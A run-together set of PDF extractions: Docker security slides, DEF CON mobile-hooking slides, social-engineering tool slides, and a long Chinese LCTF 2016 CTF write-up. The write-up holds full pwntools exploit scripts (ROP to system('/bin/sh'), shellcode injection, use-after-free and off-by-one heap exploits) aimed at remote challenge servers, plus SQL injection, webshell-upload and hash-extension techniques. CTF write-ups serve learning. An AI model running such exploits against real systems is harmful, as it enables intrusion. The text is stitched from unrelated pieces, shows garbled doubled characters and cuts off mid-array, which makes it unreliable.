Don't share hosts namespaces or devices to containers backups (duh!) get logs elsewhere and centralize minimal number of images minimal containers per host Use trusted containers Supply chains ß 30% of images have vulns??!! patch your containers don’t use chef/puppet etc attribution issues Further enhancing your security use apparmorand/or selinux use secomp (limits syscalland syscall arugmentson a case by case basis) DockerBench Security 10 SecComp --limits syscalland syscall arugmentson a case by case basis LXD Apcera 10 Coming improvements V2 registry/Notary/TUF Notary has a concept of freshness 4 keys root role: like a CA root targets (signs the content, aka sign tag to hash mapping (can self verify against the registry v2)), timestamps (freshness), snapshots (allows you to fix versions of dependencies) survivable to key compromise User namespaces (in runc in 1.8) --e.g. map root to non-root, only has root privs in containers i.e. 11 Areas that need work still Kernel’s keyringisn’t namespaced (SELinuxhelps here) Managing secrets Vault (hashicorp) Keywhiz (from square) API needs Authn/Authz Making this all much much easier Ease of use of secomp Ease of use of selinux/apparmor Logging Orchestration 12 Resources: https://d3oypxn00j2a10.cloudfront.net/assets/img/Docker%20Security/WP_Intro _to_container_security_03.20.2015.pdf https://docs.docker.com/articles/security/ https://github.com/docker/docker-bench-security https://benchmarks.cisecurity.org/downloads/show- single/index.cfm?file=docker16.100 http://container-solutions.com/docker-security-cheat-sheet/ https://github.com/GDSSecurity/Docker-Secure-Deployment-Guidelines http://www.ubuntu.com/cloud/tools/lxd https://www.apcera.com 13 14 15 16
pdf
Meticulously Modern Mobile Manipulations [DEF CON 27, Las Vegas] – Leon Jacobs $ whoami ◦ Leon Jacobs / @leonjza ◦ Security Researcher @ SensePost ◦ Been Hacking “stuff” for ~ 10 years I also hated mobile application security a lot more in the past... Lets be honest about mobile application hacking $days since last public jailbreak Server Mode Gadget Mode pinning.checkPin.implementation = function () { // } That’s useful We can do more const file = Java.use("java.io.File").$new("/"); const file = ObjC.classes.SIFiles.alloc().init(); _ _ _ _ ___| |_|_|___ ___| |_|_|___ ___ | . | . | | -_| _| _| | . | | |___|___| |___|___|_| |_|___|_|_| |___|(object)inject(ion) demo http-file-browser.mov JavaScript [ObjC] Java() 0xfeedface Application Heaps Crypto Handlers Class Loaders Sockets Config Classes State Classes ◦ Methods get / set properties ◦ Property values have this data ◦ Calling methods can alter state Java.choose(className, callbacks); ObjC.choose(specifier, callbacks); demo heap-ios-tiktok.mov dalvik.system.DexClassLoader Unknown Apps / Malware demo reflection.mov Existing Tools Module.load("/path/to/library.dylib"); const loader = pathClassLoader.$new( "/tool.jar", null, getClassLoader()); loader.loadClass("com.tool.Name"); ◦ @Flipboard – FLEX https://github.com/Flipboard/FLEX ◦ @Facebook – Stetho https://github.com/facebook/stetho demo ios-flex-plugin.mov android-stetho.mov Integration Frida HTTP API Server HTTP Client JSON demo jenkins-binary-protections.mov Conclusions ◦ Runtime analysis can be more than just hooking ◦ We don’t always* need root ◦ Everyone can use it! ◦ Let’s explore more :P Thanks! @leonjza @sensepost https://git.io/objection
pdf
Truman Kain TEVORA Dragnet Your Social Engineering Sidekick TL;DR Your social engineering conversions will increase with Dragnet. Current States of: •OSINT •Analytics •S.E. Engagements OSINT •Manual •Repetitive •Fleeting when automated Analytics Big companies live off of it –Jeff Bezos, 1997 “3 years ago I was working at a quantitative hedge fund when I came across a startling statistic…” Analytics You’re ignoring it S.E. Engagements Choose Two One. Effective Quick Inexpensive Dragnet •OSINT •Automation •Machine Learning •Open-Source Dragnet OSINT 1. Import Targets 2. Keep your hands near the wheel Dragnet Automation •OSINT Gathering* •Infrastructure Deployment •Campaign Execution •Data Correlation Dragnet ML •Tag your templates •Import prior conversion data Dragnet ML …and say your prayers. DEMO What’s Next? •Ringless Voicemail Drops •Individual Targeting •Distributed Vishing •Native Mobile?! •[Your Request Here] Truman Kain TEVORA Dragnet Your Social Engineering Sidekick Thank you! threat.tevora.com
pdf
过滤了了相关字符,and,select,updatexml双写绕过就好,空格⽤用/**/代替,拿到密 码 we1c0me%_#2&_@LCTF 。进去之后发现任意提交passwd提示密码不不对,让 num=0,passwd=5487即可。 虽然说写了了waf,但是sqlmap照样能过XD。各种tamper加上就好了了: ​ 题⽬目⼀一共分为三步 第⼀一步是⼀一个正则绕过: 题⽬目的正则应该是php://.resource=(.)$这种形式,⽽而且第⼀一步应该先会检测是否是图⽚片,于双次 绕过就好了了: Nu1L LCTF writeup Web 签到题 我控⼏几不不主我及⼏几啦 苏达学姐的⽹网站 ​ 再读⼀一下file/admin.php.txt: ​ 熟悉的CBC字节翻转攻击: ​ 拿到cookie之后,登录进去发现是⼀一个上传⻚页⾯面,测试后发现可以上传ini⽂文件, 于是通过上传.user.ini⽂文件,getshell,菜⼑刀连上发现flag: ​ 前⼏几天刚爆出来的漏漏洞洞,关于magic函数wakeup在反序列列化数据时,如果属性过 多导致wakup失效,具体⽂文章可以⾃自⼰己找下。利利⽤用+号以及修改属性值绕过,最 后利利⽤用glob绕过open_basedir,在/var/www/flag⽬目录下发现flag: ​ 睡过了了 感觉学到很多的⼀一个题⽬目: ⾸首先是⼆二次盲注,我们发现随意注册⼀一个⽤用户进⼊入之后会有修改⽤用户头像的地 ⽅方,⽽而主办⽅方放的提示是⼆二次注⼊入,猜测修改头像时,会把⽤用户名带⼊入查询,如 果查询错误,头像返回就是空,如果不不是,则头像返回就会有⻓长度,于是利利⽤用 mid函数就可以了了,py⼩小脚本上⼀一发: ​ 得到⽤用户密码:1d5afc15d99fe43fb602b25f3b5d2ee0 Cmd5解密是1admin2016 然后fuzz下⽬目录,发现有admin.php以及robots.txt,⽤用户更更换图⽚片地⽅方存在 ssrf(但是没什什么⽤用?不不过能看源码): 主办⽅方提示了了⽐比较函数,⽽而直接admin账户登录是显示账户错误的,于是user[]数 组绕过即可,最后拿到flag: ​ ⽐比较好玩的⼀一个题⽬目,虽然最后看运⽓气,⾸首先fuzz下⽬目录,发现: ​ 然后访问下: ​ headpic 你⼀一定不不能来这 下载下download.php: ​ Hash⻓长度扩展攻击,利利⽤用py下的hashpumpy爆破下secert的⻓长度就可以了了: ​ 得到⻓长度是18: ​ 然后下载www.rar,发现有密码QAQ,hex编辑器器打开在最后发现jjencode代码, github上有解密的脚本: ​ YoU CAN gET Some INterESted Thing If You CAN deCOde Me In tImE. 培根密码:XXDDCCTTFF 拿到源码之后,没有什什么逻辑,就是爆破time时间戳与rand随机数1-10000结合 之后的md5: ​ 于是burp或者⾃自⼰己写多线程脚本跑就好了了: ​ 要注意,抓包获得的时间并不不是东⼋八区北北京时间,所以需要加8才能算对,感谢 主办⽅方后期⼼心疼我们改了了时间,要不不然根本出不不来= = 很明显的栈溢出,然后就是构造ROP,泄露露libc地址,调⽤用system(“/bin/sh”) from pwn import * DEBUG = 0 if DEBUG: context.log_level = 'debug' io = process('./pwn100') Pwn Pwn100 gdb.attach(io) else: io = remote('119.28.63.211', 2332) libc = ELF('/lib/x86_64-linux-gnu/libc.so.6') elf = ELF('./pwn100') puts_got_addr = elf.got['puts'] read_got_addr = elf.got['read'] puts_plt_addr = elf.symbols['puts'] read_plt_addr = elf.symbols['read'] pop_rdi_ret_addr = 0x0000000000400763 pop_rsi_pop_r15_ret_addr = 0x0000000000400761 pop_pop_pop_pop_ret_addr = 0x000000000040075d rsp = 0x00601300 payload = 'A' * 0x40 + 'B' * 0x8 + p64(pop_rdi_ret_addr) + p64( puts_got_addr) + p64(puts_plt_addr) payload += p64(pop_rdi_ret_addr) + p64(read_got_addr) + p64(put s_plt_addr) payload += p64(pop_rdi_ret_addr) + p64(0) + p64(pop_rsi_pop_r15 _ret_addr) + p64(rsp) + p64(1) + p64(read_plt_addr) payload += p64(pop_pop_pop_pop_ret_addr) + p64(rsp) payload = payload.ljust(0xC8, 'A') raw_input('go?') io.send(payload) io.recvline() libc_puts_addr = u64(io.recvline()[:6] + '\x00\x00') libc_read_addr = u64(io.recvline()[:6] + '\x00\x00') libc_base_addr = libc_puts_addr - 0x00070c70 libc_system_addr = libc_base_addr + 0x000468f0 bin_sh_addr = libc_base_addr + 0x0017dbc5 # libc_system_addr = libc_puts_addr - (libc.symbols['puts'] - l ibc.symbols['system']) # bin_sh_addr = libc_puts_addr - (libc.symbols['puts'] - next(l ibc.search('/bin/sh'))) log.info('libc_puts_addr:%s' % hex(libc_puts_addr)) log.info('libc_read_addr:%s' % hex(libc_read_addr)) payload2 = p64(1) * 3 payload2 += p64(pop_rdi_ret_addr) + p64(bin_sh_addr) + p64(libc _system_addr) io.sendline(payload2) io.interactive() Pwn200 ⾸首先IDA静态分析,400A8E函数存在⼀一个栈地址泄漏漏 ​ 继续分析程序流程,在4007DF处发现输⼊入的ID第⼀一位为0时直接结束该函数执⾏行行 然后去执⾏行行400A29,该函数中有strcpy存在很明显的栈溢出。 ​ ⼜又因40096D中调⽤用free,所以直接将shellcode起始地址覆盖free_plt,调⽤用free 时直接开sh: ​ #!/usr/bin/env python from pwn import * DEBUG = 0 if DEBUG: p = process('./pwn2003sw54ed65rf7t') else: p = remote('119.28.63.211', 2333) #pwntools shellcraft shellcode = asm(shellcraft.amd64.linux.sh(), arch = 'amd64') #some address free_plt = 0x0000000000602018 def pwn(): p.recvuntil('who are u?\n') p.send(shellcode.ljust(48)) p.recvuntil(shellcode.ljust(48)) leak_addr = u64(p.recvn(6).ljust(8, '\x00')) shellcode_addr = leak_addr - 0x50 print 'shellcode addr: ' + hex(shellcode_addr) p.recvuntil('give me your id ~~?\n') p.sendline('0') p.recvuntil('give me money~\n') payload = p64(shellcode_addr).ljust(56, '\x00') + p64(free_ plt) p.send(payload) p.sendline('2') p.interactive() if __name__ == '__main__': pwn() ​ 拿到程序运⾏行行发现缺少lib,readelf看⼀一下发现程序需要两个特殊的库: libio和 libgetshell,⽤用ida分析可以很轻松找到栈溢出,利利⽤用栈溢出将libgetshell dump下 来看到⼀一个名为getshell的函数,跳到那⾥里里就可以拿shell。 脚本: #!/usr/bin/env python2 # -*- coding:utf-8 -*- from pwn import * from ctypes import * from hexdump import hexdump import os, sys # switches DEBUG = 0 LOCAL = 0 VERBOSE = 1 # modify this if LOCAL: io = process('./pwn300kh6y5gt3treg') else: io = remote('119.28.63.211',2339) if VERBOSE: context(log_level='debug') # define symbols and offsets here # simplified r/s function def ru(delim): return io.recvuntil(delim) Pwn300 def rn(count): return io.recvn(count) def ra(count): # recv all buf = '' while count: tmp = io.recvn(count) buf += tmp count -= len(tmp) return buf def sl(data): return io.sendline(data) def sn(data): return io.send(data) def info(string): return log.info(string) def dehex(s): return s.replace(' ','').decode('hex') def limu8(x): return c_uint8(x).value def limu16(x): return c_uint16(x).value def limu32(x): return c_uint32(x).value # define interactive functions here def recursive(): for i in xrange(10): ru('fuck me!\n') payload = 40 * 'a' + p64(0x4004a9) sn(payload.ljust(0xa0)) return def leak(addr, length=40): ru('fuck me!\n') pad = 40 * 'A' pop6 = 0x40049e callframe = 0x400484 write_got = 0x601018 payload = pad + p64(pop6) + p64(write_got) + p64(length) + p64(addr) + p64(1) + p64(callframe) + p64(0) * 7 + p64(0x4004A9 ) print len(payload) assert len(payload) <= 0xa0 sn(payload.ljust(0xa0)) return ra(length) # define exploit function here def pwn(): if DEBUG: gdb.attach(io) recursive() dynelf = DynELF(leak, elf=ELF("./pwn300kh6y5gt3treg")) #r = leak(0x601018) #hexdump(r) libgetshell = dynelf.lookup(None, "libgetshell") getshell = dynelf.lookup('getshell', 'libgetshell') info("Libgetshell = " + hex(libgetshell)) info("Getshell = " + hex(getshell)) ru('fuck me!\n') payload = 40 * 'a' + p64(getshell) sn(payload.ljust(0xa0)) ''' f = open('libgetshell.dump', 'wb') while 1: f.write(leak(libgetshell, 0x1000)) libgetshell += 0x1000 ''' io.interactive() return if __name__ == '__main__': pwn() ⼀一个C++写的rsa加解密程序,在解密的时候可以泄露露keypair(在堆上)的地址,同 时解密完后会有uaf。在堆上构造fake vtable,uaf占位即可。 脚本: Pwn400 #!/usr/bin/env python2 # -*- coding:utf-8 -*- from pwn import * from ctypes import * from hexdump import hexdump import os, sys # switches DEBUG = 0 LOCAL = 0 VERBOSE = 1 # modify this if LOCAL: io = process('./pwn400') else: io = remote('119.28.62.216',10023) if VERBOSE: context(log_level='debug') # define symbols and offsets here # simplified r/s function def ru(delim): return io.recvuntil(delim) def rn(count): return io.recvn(count) def ra(count): # recv all buf = '' while count: tmp = io.recvn(count) buf += tmp count -= len(tmp) return buf def sl(data): return io.sendline(data) def sn(data): return io.send(data) def info(string): return log.info(string) def dehex(s): return s.replace(' ','').decode('hex') def limu8(x): return c_uint8(x).value def limu16(x): return c_uint16(x).value def limu32(x): return c_uint32(x).value # define interactive functions here def menu(): return ru('exit\n') def addcipher(keychain='0',p=3,q=5): menu() sl('1') ru('No\n') sl(keychain) if keychain == '1': ru('p:') sl(str(p)) ru('q:') sl(str(q)) return def encrypt(length,data): menu() sl('2') ru(')\n') sl(str(length)) ru('\n') sn(data) return def decrypt(length,data): menu() sl('3') ru(')\n') sl(str(length)) ru('text\n') sn(data) return def comment(data): menu() sl('4') ru('RSA') sn(data) return # define exploit function here def pwn(): if DEBUG: gdb.attach(io) addcipher(keychain='1') encrypt(64, 64*'a') ru(': ') rn(512) heapleak = u64(ru('\n')[:-1].ljust(8,'\x00')) heap = heapleak - 0x270 info("Heap Leak = " + hex(heap)) decrypt(64, 128*'0') # uaf fake_vtable = heap + 0x40 payload = p64(fake_vtable) + 5 * p64(1) + p64(0xdeadbeef) * 4 + p64(0x0000000000401245) + p64(0x401245) payload = payload.ljust(128) comment(payload) poprdi = 0x0000000000402343 ropchain = p64(poprdi) ropchain += p64(0x604018) ropchain += p64(0x400BE0) ropchain += p64(0x401D9D) # back to main decrypt(256,ropchain.ljust(512)) offset___libc_start_main_ret = 0x21ec5 offset_system = 0x00000000000468f0 offset_dup2 = 0x00000000000ece70 offset_read = 0x00000000000ec690 offset_write = 0x00000000000ec6f0 offset_str_bin_sh = 0x17dbc5 ''' offset___libc_start_main_ret = 0x21f45 offset_system = 0x0000000000046590 offset_dup2 = 0x00000000000ebe90 offset_read = 0x00000000000eb6a0 offset_write = 0x00000000000eb700 offset_str_bin_sh = 0x17c8c3 ''' #offset_printf = 0x0000000000054340 offset_printf = 0x00000000000546b0 libc = u64(rn(6).ljust(8, '\x00')) - offset_printf info("Libc = " + hex(libc)) ropchain = p64(poprdi) ropchain += p64(libc + offset_str_bin_sh) ropchain += p64(libc + offset_system) decrypt(256, ropchain.ljust(512)) io.interactive() return if __name__ == '__main__': pwn() 漏漏洞洞点在读⼊入固定⻓长度内容时有nullbyte off-by-one。利利⽤用⽅方式和google project zero的https://googleprojectzero.blogspot.com/2014/08/the-poisoned-nul-byte- 2014-edition.html 这篇⽂文章相似,通过伪造prev_size和in_use位来达到chunk overlapping的效果。具体利利⽤用⻅见脚本: #!/usr/bin/env python2 # -*- coding:utf-8 -*- from pwn import * from ctypes import * import os, sys os.environ['LD_PRELOAD'] = './libc_xd.so' # switches DEBUG = 0 LOCAL = 0 VERBOSE = 1 # modify this if LOCAL: io = process('./pwn500') else: io = remote('119.28.62.216',10024) if VERBOSE: context(log_level='debug') # define symbols and offsets here # simplified r/s function def ru(delim): return io.recvuntil(delim) def rn(count): return io.recvn(count) Pwn500 def ra(count): # recv all buf = '' while count: tmp = io.recvn(count) buf += tmp count -= len(tmp) return buf def sl(data): return io.sendline(data) def sn(data): return io.send(data) def info(string): return log.info(string) def dehex(s): return s.replace(' ','').decode('hex') def limu8(x): return c_uint8(x).value def limu16(x): return c_uint16(x).value def limu32(x): return c_uint32(x).value # define interactive functions here def enterGame(char='y'): ru('n)?\n') sl(char) return def menu(): return ru(':') def senderinfo(name,contact): menu() sl('1') ru('?') sn(name) ru('?') sn(contact) return def submitpack(): menu() sl('6') return def showrcvr(): menu() sl('5') return def deletercvr(index): menu() sl('4') ru('?') sl(str(index)) return def newrcvr(): menu() sl('2') return def setReceiver(name,postcode,contact,address): menu() sl('1') ru('?') sn(name) ru('?') sn(postcode) ru('?') sn(contact) ru('?') sn(address) return def newPackage(length, data): menu() sl('2') ru('?') sl(str(length)) ru('~') sn(data) return def savePackage(): menu() sl('5') return def exitAddRecv(): menu() sl('6') return def deletePackage(index): menu() sl('3') ru('?') sl(str(index)) return def editrcvr(index,name,postcode,contact,address): menu() sl('3') ru('?') sl(str(index)) ru('?') sn(name) ru('?') sn(postcode) ru('?') sn(contact) ru('?') sn(address) return # define exploit function here def pwn(): if DEBUG: gdb.attach(io) enterGame() senderinfo('1\n', '1\n') newrcvr() setReceiver('1\n', '1\n', '1\n', '1\n') newPackage(160, 'a'.ljust(159,'a')+'\n') newPackage(160, 'b'.ljust(159,'b')+'\n') newPackage(160, 'c'.ljust(159,'c')+'\n') newPackage(8, 'pad\n') # sep newPackage(160, 'd'.ljust(159,'d')+'\n') newPackage(224, 'e'.ljust(223,'e')+'\n') #newPackage(160, 'f\n') deletePackage(2) deletePackage(1) savePackage() newrcvr() setReceiver('2\n', '2\n', '2\n', '2\n') # take original 2 newPackage(160, 'x'*152 + p64(816)) # take 1, off by one deletePackage(3) # delete 3 deletePackage(3) # wild chunk overlap savePackage() newrcvr() exitAddRecv() newrcvr() setReceiver('3\n', '3\n', '3\n', '3\n') newPackage(0x1f0, 'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAa AA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAh AA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAnAASAAoAATAApAAUAAq AA' + p64(0x602ff0) + p64(0x0) + '\n') exitAddRecv() editrcvr(0, '1\n', '1\n', '1\n', '/bin/sh;\n') showrcvr() for i in xrange(2): ru('address:') addr = u64(rn(6).ljust(8,'\x00')) - 0x00000000000ec690 info("Libc leak = " + hex(addr)) system = addr + 0x468f0 read = addr + 0xec690 editrcvr(1, '1\n', '1\n', p64(system)[:-1] + '\n', p64(read )[:-1] + '\n') editrcvr(0, 'x\n', 'x\n', 'x\n', 'x\n') io.interactive() return if __name__ == '__main__': pwn() ntfs流提取出⼀一个zip压缩包,把最后部分的空⽩白那⼏几⾏行行去掉0d 0a,然后LSB每7 位表示⼀一个字节,得到flag为6d3677dd Misc Misc150 提示是维吉尼亚密码,⽽而且没给秘钥,gg下找到⼀一个爆破⽹网址: https://www.guballa.de/vigenere-solver ​ ,秘钥⻓长度3-120: 得到明⽂文: Aliceleavestheteapartyandentersthegardenwhereshecomesuponthreelivingplayi ngcardspaintingthewhiterosesonarosetreeredbecausethequeenofheartshatesw hiterosesaprocessionofmorecardskingsandqueensandeventhewhiterabbitenter sthegardenalicethenmeetsthekingandqueenthequeenafiguredifficulttopleaseintr oduceshertrademarkphraseoffwithhisheadwhichsheuttersattheslightestdissatisf actionwithasubjectaliceisinvitedorsomemightsayorderedtoplayagameofcroquet withthequeenandtherestofhersubjectsbutthegamequicklydescendsintochaosliv eflamingosareusedasmalletsandhedgehogsasballsandaliceonceagainmeetsthe cheshirecatthequeenofheartsthenordersthecattobebeheadedonlytohaveherexe cutionercomplainthatthisisimpossiblesincetheheadisallthatcanbeseenofhimbec ausethecatbelongstotheduchessthequeenispromptedtoreleasetheduchessfrom prisontoresolvethematter Gg下,发现是(爱丽丝梦游仙境?): ​ 根据题⽬目要求进⾏行行加密得到flag。 动态调试发现加密密钥为htsii__sht_eek.y,然后aes加密,加密后的字符为{21, challenge_how_many_Vigenère easy100 -93, -68, -94, 86, 117, -19, -68,-92, 33, 50, 118, 16, 13, 1, -15, -13, 3, 4, 103, -18, 81, 30, 68, 54, -93, 44, -23,93, 98, 5, 59},解密出来即是flag。 So⾥里里⾯面检测了了调试环境,patch检测的字符串串即可绕过,点击的button被隐藏 了了,在右下⻆角,绕过反调试后后动态调试下发现取出输⼊入的5-38位后进⾏行行逆置, 对逆置的字符串串进⾏行行base64编码后和 dHR0dGlldmFodG5vZGllc3VhY2VibGxlaHNhdG5hd2k进⾏行行⽐比较,解密出来再逆 置回去即是flag:iwantashellbecauseidonthaveitttt 流量量中发现攻击者⾸首先利利⽤用proftpd的⼀一个洞洞上传了了webshell然后反弹shell了了⼀一个 4444端⼝口。利利⽤用4444端⼝口的shell写了了⼀一个新的webshell进来。然后利利⽤用新的 webshell下载了了两个图⽚片⽂文件。 两个图⽚片⽂文件异或后获得⼀一个python脚本。 import sys key = '******************' flag = 'AES_key{***************}' if len(key) % 2 == 1: print("Key Length Error") sys.exit(1) n = len(key) / 2 encrypted = '' for c in flag: c = ord(c) for a, b in zip(key[0:n], key[n:2*n]): c = (ord(a) * c + ord(b)) % 251 encrypted += '%02x' % c print encrypted #encrypt="cc90b9054ca67557813694276ab54c67aa93092ec87dd7b539" ⽤用⼀一个脚本解出AES_key m="cc90b9054ca67557813694276ab54c67aa93092ec87dd7b539" Easyeasy200 Misc400 def process(a,b,m): return "".join(map(chr,map(lambda x: (x*a+b)%251,map(ord,m. decode('hex'))))) for i in xrange(255): for j in xrange(255): if "AES_key{" in process(i,j,m): print process(i,j,m) #AES_key{FK4Lidk7TwNmRWQd} 关于原理理可以看下的MMACTF 2016的Super Express 然后发现⼀一段奇怪的DNS请求,将数据取出然后⽤用上⾯面算出的aeskey解密。 #!/usr/bin/env python # encoding:utf-8 __author__ = 'albertchang' from Crypto.Cipher import AES from Crypto import Random import base64 def decrypt(data, password): unpad = lambda s: s[0:-ord(s[-1])] iv = data[:16] cipher = AES.new(password, AES.MODE_CBC, iv) data = cipher.decrypt(data[16:]) return data if __name__ == '__main__': password = 'FK4Lidk7TwNmRWQd' encrypt_data1 = base64.b64decode( 'OYzmTh2MGNclc5gALl+2lJ/xu58d4dAtidJc2w4dRhB1cuh/pXAt17 QSjEIFMPiSE6w+DXpXJk9zm0FD39MGvwL4ZNpr2YndIPnjnb0W3xNeP+e5r//Gh TYkNTdPo4xpT4d+HMihDB1mZNcQ8Gib69l5NlqC8PFjEeABWPfJezqG0LozsEju kHJOCMhVlRrirtkI7/ExFZAgH+G1i/gaw84nJ0DbGXQEpA2wySh6/iXeJD1ZYgt 7jRgKLCL6CGggxsAEP9+m3QTZkxEitNqplA==') encrypt_data2 = base64.b64decode( 'Mvw3nE7h3GtoC0xqGKmjboBW7h+WyH+QhJRd1EL+Qc7cgRAaVNYwWr WDMByHOIlSig+MvEg0GTihcnuNdgRpD4fgmEgjvAvScqJkQUes+Mxbi4NNkCv6Y ANnbGFbZSUVs3YbulPu6Xzj+/nBmJcOsti94BHja8Cjym4l2qpmIkjR6kONAs2e 7uAkduLR1zH9') decrypt_data1 = decrypt(encrypt_data1, password) print 'decrypt_data1:\n', decrypt_data1 decrypt_data2 = decrypt(encrypt_data2, password) print 'decrypt_data2:\n', decrypt_data2 得到 Please submit the used ftp CVE ID like "CVE********"and LCTF{A11_1n_0ne_Pcap} as your flag.eg."CVE12345678A11_1n_0ne_Pcap" 搜到https://www.exploit-db.com/exploits/36803/ 故CVE20153306A11_1n_0ne_Pcap ⽤用ida可以看到程序不不停的使⽤用QMetaObject的activate⽅方法来调⽤用其它的函数。 由于对Qt不不太熟我选择在各关键函数上下断点看call stack,⼀一层层追溯回去可以 找到加密的地⽅方,写出对应的解密代码。(解密得到的flag最后不不知道为啥有⼏几 位是不不可⻅见字符,不不过根据其它位置可以猜出来...) 脚本: #!/usr/bin/env python2 # -*- coding:utf-8 -*- from ctypes import * from hexdump import hexdump iv = 'Cirno' def ror8(x,bits): r = (((x >> bits) & 0xff) | ( x << (8-bits))) & 0xff return r def dexor_2(data): g = [] for i in xrange(5): t = ord(data[i]) k = ord(iv[i]) g.append(ror8(t^k,4)) return ''.join(map(lambda x:chr(x), g)) def dexor_1(data,key): g = [] Reverse Re100 for i in xrange(5): t = ord(data[i]) k = ord(key[i]) g.append(t^k) return ''.join(map(lambda x:chr(x), g)) encdata = ''' D9 EF 31 06 88 D6 00 62 B1 07 48 6A 73 80 18 01 D9 D2 75 08 25 01 18 BF FC 26 8C 85 83 76 12 31 BA C6 98 '''.replace('\n','').replace(' ','').decode('hex') hexdump(encdata) s = '' for i in xrange(6): k = dexor_2(encdata[30-5*i:35-5*i]) k = dexor_1(k,encdata[25-5*i:30-5*i]) s = k + s print k print s print dexor_2(encdata[0:5]) hexdump(s) hexdump(dexor_2(encdata[0:5])) # flag = 'LCTF{Th4nk_y0u_f0r_play1ng_th1s_gam3}' 程序最后⼀一步是维吉尼亚加密,把密⽂文仍到https://www.guballa.de/vigenere- solver ⾥里里得到密钥ieedcpgdhkedddfenkfaifgggcgbbbgf,然后根据程序对原始密 钥的转换过程得到原始密钥 byte_804A440 = 0 byte_804A441= 0 def process0(): global byte_804A440 global byte_804A441 Re200 v0 = byte_804A441 & 0xF0 | byte_804A440 & 0xF byte_804A440 = (byte_804A440 & 0xF0 | byte_804A441 & 0xF) ^ 0x99 byte_804A441 = v0 ^ 0x55 def process1(): global byte_804A440 global byte_804A441 byte_804A440 ^= byte_804A441 v0 = byte_804A441 >> 4 byte_804A441 = v0 | (16 * byte_804A441 & 0xFF) def process2(): global byte_804A440 global byte_804A441 v0 = byte_804A440 >> 4 byte_804A440 = (16 * byte_804A441 & 0xFF) | (byte_804A440 & 0xF) byte_804A441 = v0 | byte_804A441 & 0xF0 def process3(): global byte_804A440 global byte_804A441 byte_804A440 ^= 16 * byte_804A440 & 0xFF byte_804A441 ^= 16 * byte_804A441 & 0xFF def generate(key): global byte_804A440 global byte_804A441 if (len(key) & 1) == 1: key += '\x53' key2 = [] key3 = [] cipher = [] for i in range(0, len(key), 2): byte_804A440 = ord(key[i]) byte_804A441 = ord(key[i+1]) choice = (byte_804A440 >> 2) & 3 if choice == 0: process0() elif choice == 1: process1() elif choice == 2: process2() elif choice == 3: process3() key2.append(byte_804A440) key2.append(byte_804A441) for num in key2: key3.append((num & 0xF) + 0x61) key3.append((num >> 4) + 0x61) return ''.join([chr(num) for num in key3]) final_key = 'ieedcpgdhkedddfenkfaifgggcgbbbgf' origin_key = '' for n in range(0, len(final_key), 4): part_key = final_key[n:n+4] for i in range(0x20, 0x7f): for j in range(0x20, 0x7f): key = chr(i) + chr(j) key_stream = generate(key) if key_stream == part_key: origin_key += key print origin_key 在反推nkfa时可得到两个结果,根据语义得到Flag为H4ck1ngT0TheGate 程序接受管理理服务器器发来的控制指令进⾏行行相应的操作,根据流量量包,管理理服务器器 发送了了DDos的SYN攻击指令,但是对指令数据做了了AES加密,分析程序可得到 key,于是解密 from Crypto.Cipher import AES data1 = [ 0x06, 0x00, 0x00, 0x00, 0xf1, 0x4e, 0x0b, 0xfe, 0x2d, 0x94, 0xc3, 0x5c, 0x4b, 0xc6, 0x3a, 0x63, 0x54, 0x0d, 0xd5, 0x25, 0x7d, 0xf7, 0x6b, 0x0c, 0x1a, 0xb8, 0x99, 0xb3, 0x3e, 0x42, 0xf0, 0x47, 0xb9, 0x1b, 0x54, 0x6f, 0x7d, 0xf7, 0x6b, 0x0c, 0x1a, 0xb8, 0x99, 0xb3, 0x3e, 0x42, 0xf0, 0x47, 0xb9, 0x1b, 0x54, 0x6f, 0x7d, 0xf7, 0x6b, 0x0c, 0x1a, 0xb8, 0x99, 0xb3, 0x3e, 0x42, 0xf0, 0x47, 0xb9, 0x1b, 0x54, 0x6f, 0x7d, 0xf7, 0x6b, 0x0c, 0x1a, 0xb8, 0x99, 0xb3, 0x3e, 0x42, 0xf0, 0x47, 0xb9, 0x1b, 0x54, 0x6f, 0x7d, 0xf7, 0x6b, 0x0c, Re300 0x1a, 0xb8, 0x99, 0xb3, 0x3e, 0x42, 0xf0, 0x47, 0xb9, 0x1b, 0x54, 0x6f, 0x7d, 0xf7, 0x6b, 0x0c, 0x1a, 0xb8, 0x99, 0xb3, 0x3e, 0x42, 0xf0, 0x47, 0xb9, 0x1b, 0x54, 0x6f, 0x7d, 0xf7, 0x6b, 0x0c, 0x1a, 0xb8, 0x99, 0xb3, 0x3e, 0x42, 0xf0, 0x47, 0xb9, 0x1b, 0x54, 0x6f, 0xb1, 0x2b, 0x36, 0xee, 0xda, 0xb3, 0x5c, 0x0b, 0x08, 0x9f, 0x58, 0x7e, 0x20, 0xeb, 0x8d, 0x01, 0x7d, 0xf7, 0x6b, 0x0c, 0x1a, 0xb8, 0x99, 0xb3, 0x3e, 0x42, 0xf0, 0x47, 0xb9, 0x1b, 0x54, 0x6f, 0x7d, 0xf7, 0x6b, 0x0c, 0x1a, 0xb8, 0x99, 0xb3, 0x3e, 0x42, 0xf0, 0x47, 0xb9, 0x1b, 0x54, 0x6f, 0x7d, 0xf7, 0x6b, 0x0c, 0x1a, 0xb8, 0x99, 0xb3, 0x3e, 0x42, 0xf0, 0x47, 0xb9, 0x1b, 0x54, 0x6f, 0x7d, 0xf7, 0x6b, 0x0c, 0x1a, 0xb8, 0x99, 0xb3, 0x3e, 0x42, 0xf0, 0x47, 0xb9, 0x1b, 0x54, 0x6f, 0x7d, 0xf7, 0x6b, 0x0c, 0x1a, 0xb8, 0x99, 0xb3, 0x3e, 0x42, 0xf0, 0x47, 0xb9, 0x1b, 0x54, 0x6f, 0x7d, 0xf7, 0x6b, 0x0c, 0x1a, 0xb8, 0x99, 0xb3, 0x3e, 0x42, 0xf0, 0x47, 0xb9, 0x1b, 0x54, 0x6f, 0x7d, 0xf7, 0x6b, 0x0c, 0x1a, 0xb8, 0x99, 0xb3, 0x3e, 0x42, 0xf0, 0x47, 0xb9, 0x1b, 0x54, 0x6f, 0x7d, 0xf7, 0x6b, 0x0c, 0x1a, 0xb8, 0x99, 0xb3, 0x3e, 0x42, 0xf0, 0x47, 0xb9, 0x1b, 0x54, 0x6f, 0x7d, 0xf7, 0x6b, 0x0c, 0x1a, 0xb8, 0x99, 0xb3, 0x3e, 0x42, 0xf0, 0x47, 0xb9, 0x1b, 0x54, 0x6f, 0x7d, 0xf7, 0x6b, 